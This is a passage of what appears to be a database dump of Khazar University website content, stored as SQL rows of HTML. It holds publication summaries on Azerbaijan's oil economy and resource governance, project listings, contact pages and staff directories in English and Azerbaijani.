Hub</em></p><p><a>Summary:</a></p><p>The Oil Boom and Human Capital Development in Azerbaijan:Turning Black Gold into Human Gold (Surayya Mammadova)</p><p>The Quality of Education in Azerbaijan: Problems and Prospects (Farid Guliyev)</p><p>Natural Resources and the Gender Gap in Azerbaijan (Lucy Wallwork)</p><p>The Contribution of Foreign Oil Companies to Human Capital Development in Azerbaijan: The Case of BP’s CSR Program (Nazaket Azimli)</p><p>Please find the PDF:</p><p><a href=\"http://www.laender-analysen.de/cad/pdf/CaucasusAnalyticalDigest90.pdf\" target=\"_blank\"><em>http://www.laender-analysen.de/cad/pdf/CaucasusAnalyticalDigest90.pdf</em></a></p><hr><h2><a>Tackling the Resource Curse: The role of democracy in achieving sustainable development in resource-rich countries</a></h2><p><em>Ahmadov A. and Guliyev F. IDEA Discussion Paper (2016)</em></p><p><a>Summary:</a>&nbsp;A number of studies in the academic and policy literature suggest that resource-rich countries with democratic political systems are more likely than their resource-rich counterparts with less democratic systems to enjoy prudential governance of natural resources, which, in turn, makes inclusive sustainable development more likely.</p><p>This report focuses on the potential roles of stakeholders and institutions in the governance of natural resources. It aims to pinpoint specific mechanisms that are pivotal for ensuring prudential management. It draws on a multitude of examples and includes six case studies that illustrate the interaction between democracy, natural resources and development outcomes.</p><p>Please find the PDF:</p><p><a href=\"http://www.idea.int/resources/analysis/the-role-of-democracy-in-achieving-sustainable-development-in-resource-rich-countries.cfm\" target=\"_blank\"><em>http://www.idea.int/resources/analysis/the-role-of-democracy-in-achieving-sustainable-development-in-resource-rich-countries.cfm</em></a></p><hr><h2><a>Low Oil Prices: Economic and Social Implications for Azerbaijan</a></h2><p><em>Special Editors: Eurasia Extractive Industries Knowledge Hub (Khazar University) and Jeronim Perović Caucasus Analytical Digest No. 83 (2016)</em></p><p><a>Summary:</a>&nbsp;Azerbaijan’s New Macroeconomic Reality: How to Adapt to Low Oil Prices (Ingilab Ahmadov)</p><p>Oil Price Shocks and Monetary Policy in Azerbaijan: Challenges and Opportunities (Jeyhun Mammadov)</p><p>Lower Oil Revenues, Higher Public Debt: The Fiscal Policy Implications of Low Oil Prices in Azerbaijan (Kenan Aslanli)&nbsp;<br>Azerbaijan: Low Oil Prices and their Social Impact (Farid Guliyev)</p><p>Statistics Oil Production and State Finances</p><p>Please find the PDF:</p><p><a href=\"http://www.laender-analysen.de/cad/pdf/CaucasusAnalyticalDigest83.pdf\" target=\"_blank\"><em>http://www.laender-analysen.de/cad/pdf/CaucasusAnalyticalDigest83.pdf</em></a></p><hr><h2><a>Governance, transparency and accountability in Sovereign Wealth Funds: Remarks on the assessment, rankings and benchmarks to date in Sovereign Wealth Funds: New Challenges for the Caspian Countries</a></h2><p><em>Tsani, S., Ahmadov I., and Aslanli K. Public Finance Monitoring Centre, Azerbaijan and Revenue Watch Institute, USA (2011).</em></p>\r\n<p><a>Summary:</a>&nbsp;Over the past decade, the boom in commodity prices and the growth of foreign exchange reserves have made Sovereign Wealth Funds (SWF) major forces in the global economy, with the largest funds managing well over $4 trillion in assets. Their influence has had far-reaching consequences for both host and sponsoring countries. SWFs can finance development projects and shield economies from volatility. But they can also hamper the effectiveness of macroeconomic policies and create opportunities for corruption. This report from Azerbaijans Public Finance Monitoring Center, Khazar University and RWI presents a critical analysis of resource-based SWFs in three Caspian countries: Azerbaijan, Kazakhstan and Russia. While SWFs enabled them to weather the global financial crisis, the funds investment choices have failed to promote long-term development at home, highlighting the need for transparency and accountability as well as new methods to assess SWF performance.</p><p>Please find the PDF:&nbsp;</p><p><a href=\"http://www.resourcegovernance.org/sites/default/files/SWFs-Caspian-Countries.pdf\" target=\"_blank\"><em>http://www.resourcegovernance.org/sites/default/files/SWFs-Caspian-Countries.pdf</em></a></p>'),(1166,736,'en','Contact us','Contact us','<p><strong>Eurasia Extractive Industries Knowledge Hub</strong></p><p><strong>Adress</strong>: 41 Mehseti str., AZ1096, Baku,&nbsp;Azerbaijan&nbsp;</p><p><strong>Phone</strong>: (+994 12) 422 24 97</p><p><strong>E-mail</strong>: <a href=\"http://mailto:info@eurasia-hub.com\">info@eurasia-hub.com</a></p><div><div><strong>&nbsp;<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3037.9635472505247!2d49.93829198575365!3d40.40965832149299!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x403062fc5d066f49%3A0x383f2647b67161af!2zWMmZesmZciBVbml2ZXJzaXRldGk!5e0!3m2!1saz!2s!4v1459771154628\" width=\"600\" height=\"450\" frameborder=\"0\" style=\"border:0\"></iframe></strong></div></div>'),(1167,482,'az','Faydalı məlumatlar','Faydalı məlumatlar','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><a href=\"http://www.khazar.org/s48/Xezer-haqqinda/az\" target=\"_blank\">Xəzər haqqında</a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><a href=\"http://www.khazar.org/s58/Akademik-fealiyyet/az\" target=\"_blank\">Akademik fəaliyyət</a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><a href=\"http://www.khazar.org/s338/Rehberlik/az\" target=\"_blank\">Rəhbərlik</a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><a href=\"http://www.khazar.org/v76/Offices-and-Services/az\" target=\"_blank\">Ofislər və xidmətlər</a></p>  <br></div>'),(1168,446,'az',' İnstitusional Araşdırmalar',' İnstitusional Araşdırmalar','<div><br></div><div> <div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">İnstitusional Araşdırmalar Mərkəzinin əsas vəzifəsi institusional idarəetməni, əməliyyatları, qərarların qəbul edilməsi və planlaşdırma funksiyalarının dəstəklənməsi üçün institusional və digər göstəricilərin toplanması, təşkili və təhlilini həyata keçirməkdir.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Bu vəzifənin mərkəzində geniş institusional perspektivlər nöqteyi-nəzərindən ümumüniversitet göstəricilərinin sistemli məlumat təhlili əsas yer tutur.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Buraya həmçinin nəzərdə tutulan ehtiyaclar, proqram məqsədləri və eyni zamanda təşkilati resursların istifadə edilmə səmərəliliyi və effektliuliyi ilə əlaqədar tədqiqatlar da daxildir.</p></div><br></div>'),(1169,416,'az','Layihələr','Layihələr','<p>Development Center oversees the management of all current projects as well as development of new ones. Currently the center manages more than eight TEMPUS projects, and many other projects supported by different donors and organizations.&nbsp; Among them are UNICEF, World Bank, Visegrad Fund.&nbsp; At the same time, the Center developing new projects announced by ERASMUS+ and supports extended cooperation and collaboration between European, regional and local partners.&nbsp;</p>\r\n<p><strong><br></strong></p><h3><strong>Erasmus+&nbsp;</strong><strong>Projects</strong></h3><p><a href=\"http://www.khazar.org/files/Development_office/NIZAMI_(561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP).pdf\">Restructuring and development of doctoral\r\nstudies in Azerbaijan in line with requirements of higher education area&nbsp;(561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP)</a></p><p><a href=\"http://www.khazar.org/files/Development_office/PETRA_(573630-EPP-1-2016-1-ES-EPPKA2-CBHE-JP).pdf\">Promoting excellence in teaching and learning in Azerbaijani universities&nbsp;(573630-EPP-1-2016-1-ES-EPPKA2-CBHE-JP)</a></p><p><a href=\"http://www.khazar.org/files/Development_office/PROMIG_(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP).pdf\">Promoting migration studies in higher education&nbsp;(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/PAWER_(574099-EPP-1-2016-1-IT-EPPKA2-CBHE).pdf\">Paving the way to interregional mobility and ensuring relevance quality and equity access&nbsp;(574099-EPP-1-2016-1-IT-EPPKA2-CBHE)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/AESOP_(561640-EPP-1-2015-1-AZ-EPPKA2-CBHE-JP).pdf\">Advocacy establishment for students through ombudsman position&nbsp;(561640-EPP-1-2015-1-AZ-EPPKA2-CBHE-JP)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/PROMIG_(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP).pdf\">Developing european studies in the Caucasus&nbsp;(565086-EPP-1-2015-1-EE-EPPJMO-NETWORK)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/Department_Jean_Monnet_Chair_at_Khazar_University.pdf\">Department Jean Monnet Chair at Khazar University (553445-EPP-1-2014-1-AZ-EPPJMO-CHAIR)</a></p>  \r\n<p><strong><br></strong></p><h3><strong>Tempus Projects</strong></h3><p><a href=\"http://www.khazar.org/en/menus/902/the_establishment_of_a_foundation_for_the_integration_of_disabled_people_into_heis_of_azerbaijan\">The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan</a></p><p><a href=\"http://www.khazar.org/en/menus/903/_project_actors_capacity_training_in_caucasus\">Project Actors Capacity Training in Caucasus</a></p><p><a href=\"http://www.khazar.org/en/menus/904/strengthening_the_specific_role_of_universities_as_lll_institutions\">Strengthening the Specific Role of Universities as LLL Institutions&nbsp;</a></p><p><a href=\"http://www.khazar.org/en/menus/905/curriculum_development_and_capacity_building_in_the_field_of_eu_studies\">Curriculum Development and Capacity&nbsp;Building in the field of EU studies</a></p><p><a href=\"http://www.khazar.org/en/menus/906/_migration_and_higher_education_developing_skills_and_capacity\">Migration and Higher Education: Developing Skills and Capacity</a>&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/907/development_of_training_network_for_improving_education_in_energy_efficiency\">Development of Training Network for Improving Education in Energy Efficiency</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/908/student_support_and_development_services\">Student Support and Development&nbsp;Services</a></p><p><a href=\"http://www.khazar.org/en/menus/909/documentation_for_quality_assurance_of_study_programmes\">Documentation for Quality Assurance of Study Programmes</a></p><p><strong><br></strong></p><h3><strong>UNICEF</strong></h3><p>The 3-month training program for potential school leaders started at Khazar University with the support of UNICEF.&nbsp; The program started in September 2014 and will last until the middle of February 2015. The program includes one and a half months of preparation and one and a half months for the reporting period. The preparation period has been prolonged as a result of the late opening date of high schools (September 15th). The deadline for application submission was prolonged until the end of September. 150 application forms were received, and as a result of a three-tier selection process, 40 participants were identified as future potential leaders. The actual training has started on November 19th&nbsp;at Khazar University’s Neftchilar Campus.&nbsp;</p><p><br></p><h3><strong>VISEGRAD</strong></h3><p>The project on&nbsp;\"Capacity Building of Caucasus Academic Public Administration Programmes on the basis of EU Administrative Principles”&nbsp;supported by the&nbsp;International Visegrad Fund&nbsp;will&nbsp;help to share the knowledge and experiences of V4 and Caucasus countries in Public Administration the teaching, training and research necessary for institutional and administrative capacity building, based on EU administrative principles, which include the rule of law, efficiency, effectiveness, openness, transparency, integrity and citizens’ participation. The project outcomes will facilitate the reform processes in the Caucasus region, preparation for EU integration and regional cooperation and awareness of the importance of Public Administration performance.</p>'),(6397,3633,'az','VISEGRAD','VISEGRAD','<p>The project on&nbsp;\"Capacity Building of Caucasus Academic Public Administration Programmes on the basis of EU Administrative Principles”&nbsp;supported by the&nbsp;International Visegrad Fund&nbsp;will&nbsp;help to share the knowledge and experiences of V4 and Caucasus countries in Public Administration the teaching, training and research necessary for institutional and administrative capacity building, based on EU administrative principles, which include the rule of law, efficiency, effectiveness, openness, transparency, integrity and citizens’ participation. The project outcomes will facilitate the reform processes in the Caucasus region, preparation for EU integration and regional cooperation and awareness of the importance of Public Administration performance.</p>'),(1791,1111,'az','Avropalı tərəfdaşlarla ESFIDIP layihəsi barəsində görüşlər keçirildi','2016-ci il mayın 12-də Xəzər Universitetinin koordinator olduğu ESFİDİP (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması)','2016-ci il mayın 12-də Xəzər Universitetinin koordinator olduğu ESFİDİP (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması) Tempus layihəsi çərçivəsində Avropa tərəfdaşlar (Lodz Universiteti, Makedoniya Universiteti, Qraz Universiteti və Human European Consultancy) arasında Skype vasitəsilə görüş təşkil olundu. Görüş zamanı layihə çərçivəsində görüləcək işlər – avadanlıqların alınması, pilot proqramının planlaşdırılması və yeni görüş vaxtının təyin olunması haqqında müzakirələr keçirildi.'),(1170,417,'az','Məzunlar','Məzunlar',''),(1171,419,'az','Məzun müsahibə sualları','Məzun müsahibə sualları',''),(1172,420,'az','Things Alumni and Friends can do for Khazar University','Things Alumni and Friends can do for Khazar University',''),(1173,421,'az',' Məzun sorğu vərəqəsi',' Məzun sorğu vərəqəsi',''),(1174,422,'az',' Məzunların uğur hekayələri',' Məzunların uğur hekayələri','<div><br></div><p>Bu gün «Xəzər»in məzunları həm ölkəmizdə, həm də xaricdə ən nüfuzlu təş­kilatlarda, müxtəlif ölkələrin Azərbaycandakı səfirlik və diplomatik korpuslarında və başqa nüfuzlu beynəlxalq təşkilatlarda uğurla çalışırlar. Məzunlarımızın bir qismi təhsillərini ABŞ, Böyük Britaniya, Fransa, Kanada, Yaponiya, Cənubi Koreya Respublikası, Çin, Hindistan, İspaniya, İtaliya, Türkiyə, Yunanıstan, Rusiya, Portuqaliya, Polşa, Macarıstan, Bolqariya, Almaniya, Norveç, İsveç, və. s ölkələrin tanınmış ali məktəblərində magistr və doktorantura səviyyəsində davam etdirirlər.&nbsp;</p><div><img src=\"/files/image/607.gif\" style=\"width:150px;height:100px;margin:7px;float:left\"><img src=\"/files/image/544.gif\" style=\"width:150px;height:150px;margin:7px;float:left\">&nbsp;<img src=\"/files/image/534.gif\" style=\"width:150px;height:100px;margin:7px;float:left\"></div>'),(1175,424,'az','İşçi heyəti','İşçi heyəti','<p><img src=\"http://www.khazar.org/files/social/_Raziya_Isayeva.jpg\" width=\"150\" height=\"260\" style=\"border:0px #000000;width:150px;height:260px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/admin/raziya_isayeva_cv.pdf\">Raziyə İsayeva</a></strong></p><p><strong>İnkişaf ofisinin&nbsp;direktoru</strong></p><p><strong>Email:&nbsp;</strong><a href=\"mailto:risayeva@khazar.org\">risayeva[at]khazar.org</a></p><p><a href=\"mailto:risayeva@khazar.org\"></a><strong>Telefon</strong>: (+994 12)&nbsp;421 79 16 (207)</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/letters/ulkar_b.jpg\" style=\"border:0px  #000000;width:150px;height:187px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/letters/Ulkar_Bayramova.pdf\">Ülkər Bayramova</a></strong></p><p><strong>Layihə meneceri</strong></p><p>Pedaqogika üzrə magistr (Lənkəran Dövlət Universiteti, Azərbaycan)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ubayramova@khazar.org\">ubayramova[at]khazar.org</a>  </p><p><strong>Telefon</strong>: (+994 12) 421 79 16&nbsp;(249)</p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Sabina_Allahveranova_CV.pdf\"><img src=\"http://www.khazar.org/files/letters/Sabina_al.jpg\" style=\"float:left;width:150px;height:245px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Səbinə Allahverənova</a></strong></p><p><strong>Peşə Mərkəzinin Meneceri</strong></p><p>Beynəlxalq Əlaqələr üzrə bakalavr (Girne American&nbsp;University,&nbsp;ŞKTR, Kipr)&nbsp;</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Sallahveranova@khazar.org\">sallahveranova[at]khazar.org</a>&nbsp; &nbsp;&nbsp;</p>  <p><strong>Telefon</strong>: (+994 12) 421 79 16&nbsp;(212)&nbsp;</p><p><br></p><p><br></p>  \r\n<hr>\r\n<img src=\"http://www.khazar.org/files/politics_depart/Picture-Baba.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><a href=\"http://www.khazar.org/files/pdf/Baba_Bayramli_CV.pdf\"><strong>Baba Bayramlı</strong></a></p><p style=\"font-weight:bold\"><strong>Məzunlar mərkəzinin rəhbəri</strong></p><p>Tarix üzrə magistr (Bakı Dövlət Universiteti, Azərbaycan)</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:bbayramov[at]khazar.org\">bbayramov[at]khazar.org</a></p><p><strong>Telefon</strong>: (+994 12) 421 79 16&nbsp;(274)&nbsp;</p>'),(1697,441,'en','Taher Chegini','Taher Chegini','<div><br></div><div><img src=\"/files/social/tahir%20chengi.jpg\" style=\"width:150px;height:214px;margin:7px;float:left\"><br></div><div><p><strong><a href=\"http://www.khazar.org/files/pdf/TChegini-Resume.pdf\">Taher Chegini</a></strong></p><p><strong>Instructor at Civil Engineering Department</strong></p><p><strong>M.Sc. in Hydraulic Engineering</strong></p><p><strong>Phone: +994 12 421 7916 &nbsp;Ext-264</strong></p><p><strong>Email:&nbsp;</strong><a href=\"mailto:tchegini@khazar.org\"><strong>tchegini@khazar.org</strong></a></p><p><strong>Research Group:&nbsp;</strong><strong><a href=\"http://www.khazar.org/v8029/Computational-Fluid-Dynamcis/en\">CFD</a></strong></p></div><div><p><strong><br></strong></p><p><strong>Research Interests</strong>&nbsp;are as follows:</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Numerical Modeling</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Computational Fluid Dynamics</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lattice Boltzmann Method</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Numerical Simulation of oil spills</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Surface recostruction methods</p><p>&nbsp;</p><p><strong>Teaching</strong>:</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fluid Mechanics and Lab</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Applied Linear Algebra using MATLAB</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction to CFD</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Engineering Mechanics</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Strength of Materials</p>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div>'),(1176,425,'az','Qalereya','Qalereya',''),(1177,435,'az','Nəşrlər','Nəşrlər',''),(1178,435,'en','Publications','Publications',''),(1179,436,'az','Softwares','Softwares',''),(1180,436,'en','Softwares','Softwares',''),(1181,437,'az','Bizimlə əlaqə','Bizimlə əlaqə',''),(1182,437,'en','Contact us','Contact us',''),(1183,427,'az','Bizimlə əlaqə','Bizimlə əlaqə','<p><img src=\"/files/social/thumbnail_15_10_14_15_06_04_khazar_location.jpg\" style=\"width:500px;height:243px;margin:7px;float:left\"><strong><br></strong><strong><br></strong><strong><br></strong><strong><br></strong><strong><br></strong><strong><br></strong><strong><br></strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong>Xəzər Universiteti (Neftçilər campus)</strong></p><p>Məhsəti küçəsi, 41,&nbsp;AZ1096,&nbsp;Bakı, Azərbaycan</p><p><br></p><p><strong><em>HTM-nin inzibati işləri üzrə məsul şəxs</em></strong>&nbsp; – <strong>Validə Kərimova&nbsp;</strong></p><p><strong></strong><strong>E-mail:</strong>&nbsp;<a href=\"mailto:vkerimova@khazar.org\">vkerimova[at]khazar.org</a>  </p><p><strong>Əlaqə nömrəsi: </strong> (+994&nbsp;12) 421&nbsp;79&nbsp;16&nbsp;(213)</p>'),(6261,3565,'az','İşçi heyət','İşçi heyət','<p><img src=\"/files/image/CABIR%20KHALILOV.jpg\" style=\"border:0px  #000000;width:150px;height:174px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\">Cabir Z.&nbsp;Xəlilov</a>&nbsp;-&nbsp;Direktor</strong></p><p><strong>Fəlsəfə doktoru,&nbsp;Dosent</strong></p><p>Magistr* Hüquq (Hüquq fakültəsi, Moskva Dövlət Universiteti, Rusiya)</p><p><strong style=\"font-weight:bold\">Telefon</strong><strong>:</strong> (+994&nbsp;12)&nbsp;421 79 16&nbsp;(258)<br></p><p><strong>E-poçt:&nbsp;</strong><a href=\"mailto:cxalilov[at]khazar.org\">cxalilov[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/social/1/cv_vali.pdf\"><img src=\"/files/letters/v_k.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:170px\">Validə S. Kərimova</a>&nbsp;-&nbsp;Koordinator</strong></p><p>German dilləri üzrə&nbsp;doktorant (Xəzər Universiteti, Azərbaycan)</p><p>Magistr* Dilşünaslıq, Fərqlənmə (Xəzər Universiteti, Azərbaycan)</p><p><strong style=\"font-weight:bold\">Telefon</strong><strong style=\"font-weight:bold\">:&nbsp;</strong>(+994&nbsp;12)&nbsp;421 79 16&nbsp;(213)<br></p><p><strong>E-poçt: </strong><a href=\"mailto:vkerimova[at]khazar.org\">vkerimova[at]khazar.org</a></p>'),(1184,463,'az','Fəaliyyət','Fəaliyyət','<ul><li>Konfrans və seminarların təşkili&nbsp;</li><li>Universitet-sənaye münasibətlərinin araşdırılması və inkişafı</li><li>Dövlətə təhsil islahatları barədə təkliflərin verilməsi</li><li>İnformasiya Siyasətinin formalaşdırılması</li><li>Layihələr (Dünya Bankı və Təhsil Nazirliyi)</li><li>Təhsil inzibatçıları üçün təlimlər</li><li>Orta məktəb müəllimləri üçün təlimlər</li></ul>'),(2504,1513,'az','“Ədəbiyyat qəzeti”ndəki müzakirə mediada','Xəbər verildiyi kimi, “Ədəbiyyat qəzeti”nin ötən müzakirəsinin qonaqlarından biri Xəzər Universitetinin dosenti Dilbər Zeynalova olmuşdur. Müzakirə ilə bağlı axar.az xəbər...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Xəbər verildiyi kimi, “Ədəbiyyat qəzeti”nin ötən müzakirəsinin\r\nqonaqlarından biri Xəzər Universitetinin dosenti Dilbər Zeynalova olmuşdur.\r\nMüzakirə ilə bağlı <strong><em>axar.az</em></strong> xəbər saytı geniş material çap\r\netmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Materilı tam şəkildə bu link vasitəsilə əldə etmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://axar.az/news/114399\">http://axar.az/news/114399</a>.</p>'),(1185,464,'az','İşçi heyəti','İşçi heyəti','<div><br></div><div><img src=\"http://www.khazar.org/files/demo/Hamlet_Isaxanli.jpg\" style=\"width:150px;height:220px;margin:7px;float:left\"><br></div><div><br></div><p><a href=\"http://www.khazar.org/files/demo/Hamlet_Isaxanli_CV.doc\">Hamlet&nbsp;Isaxanli</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/M_Nuriyev.jpeg\" style=\"width:150px;height:189px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Mahammad_Nuriyev_CV.doc\">Mahammad&nbsp;Nuriyev</a><br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_09_eldarshahgaldiyev.jpg\" style=\"width:150px;height:178px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Eldar%20Shahgaldiyev_CV.doc\">Eldar Shahgaldiyev</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_17_isx.gif\" style=\"width:150px;height:227px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Isakhan_Isakhanli_CV.doc\">Isakhan&nbsp;Isakhanli</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_18_ruslansadirkhanov.JPG\" style=\"width:150px;height:200px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Ruslan_Sadirkhanov_CV_.doc\">Ruslan&nbsp;Sadirkhanov</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_18_asifjanahgirov.jpg\" style=\"width:150px;height:187px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Asif_Cahangirov_CV.doc\">Asif&nbsp;Cahangirov</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/14_02_03_beyler.JPG\" style=\"width:150px;height:150px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Elxan%20Beylerov_Cv.doc\">Elxan Beylerov</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_17_ls3.gif\" style=\"width:150px;height:176px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Lyudmila_Sotova_CV.doc\">Lyudmila&nbsp;Sotova</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_17_elzasemedli.jpg\" style=\"width:150px;height:192px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Elza_Samadova_CV.doc\">Elza&nbsp;Samadova</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_18_FRasulov.JPG\" style=\"width:150px;height:205px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/FuatRasulovCV.docx\">&nbsp;Fuat&nbsp;Rasulov</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_17_Leyla_Muradkhanli.JPG\" style=\"width:150px;height:151px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Leyla_Muradkhanli_CV.doc\">Leyla&nbsp;Muradkhanli</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_18_raziya-isayeva.jpg\" style=\"width:150px;height:150px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Raziya_Isayeva_CV.doc\">Raziya&nbsp;Isayeva</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_18_calvin.gif\" style=\"width:150px;height:180px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Calvin%20Tiessen%20CV.doc\">Calvin Tiessen</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_17_me.jpg\" style=\"width:150px;height:187px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/demo/Ulker_Isayeva_CV.doc\">Ulker&nbsp;Isayeva</a>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_10_melekkerimova.jpg\" 